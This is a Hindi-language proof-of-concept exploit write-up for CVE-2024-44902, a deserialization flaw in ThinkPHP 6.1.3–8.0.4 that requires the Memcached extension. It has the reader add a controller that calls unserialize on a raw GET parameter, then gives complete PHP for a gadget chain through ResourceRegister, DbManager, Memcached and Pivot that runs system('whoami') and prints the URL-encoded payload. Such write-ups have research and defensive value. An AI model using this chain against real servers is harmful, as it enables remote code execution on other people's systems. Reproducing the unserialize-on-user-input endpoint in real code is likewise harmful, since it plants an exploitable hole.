
CVE-2024-44902 के लिए अवधारणा-प्रमाण शोषण, ThinkPHP v6.1.3–v8.0.4 में एक डिसीरियलाइज़ेशन कमजोरी जो Memcached एक्सटेंशन स्थापित होने पर निर्मित पेलोड के माध्यम से रिमोट कोड निष्पादन को सक्षम करती है।
Thinkphp v6.1.3 से v8.0.4 में एक डिसीरियलाइज़ेशन कमजोरी हमलावरों को मनमाना कोड निष्पादित करने की अनुमति देती है।
Thinkphp v6.1.3 से v8.0.4
thinkphp फ्रेमवर्क में Memcached एक्सटेंशन स्थापित होना चाहिए।
सबसे पहले, app\controller\Index.php में एक नया डिसीरियलाइज़ेशन एंडपॉइंट जोड़ें, जैसे:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
unserialize($_GET['x']);
return '<style>*{ padding: 0; margin: 0; }</style>';
}
public function hello($name = 'ThinkPHP8')
{
return 'hello,' . $name;
}
}
आप payload उत्पन्न कर सकते हैं:
<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{
protected $options=[];
function __construct()
{
$this->options["username"]=new Pivot();
}
}
namespace think\model;
use think\model;
class Pivot extends Model
{
}
namespace think;
abstract class Model{
private $data = [];
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = true;
function __construct()
{
$this->data["fru1ts"]=["whoami"];
$this->withAttr["fru1ts"]=["system"];
$this->json=["fru1ts"];
}
}
namespace think\route;
use think\DbManager;
class ResourceRegister
{
protected $registered = false;
protected $resource;
function __construct()
{
$this->registered=false;
$this->resource=new DbManager();
}
}
namespace think;
use think\model\Pivot;
class DbManager
{
protected $instance = [];
protected $config = [];
function __construct()
{
$this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
$this->config["default"]="getRule";
}
}
use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));
payload का उपयोग करके डिसीरियलाइज़ करने से RCE हो सकता है:
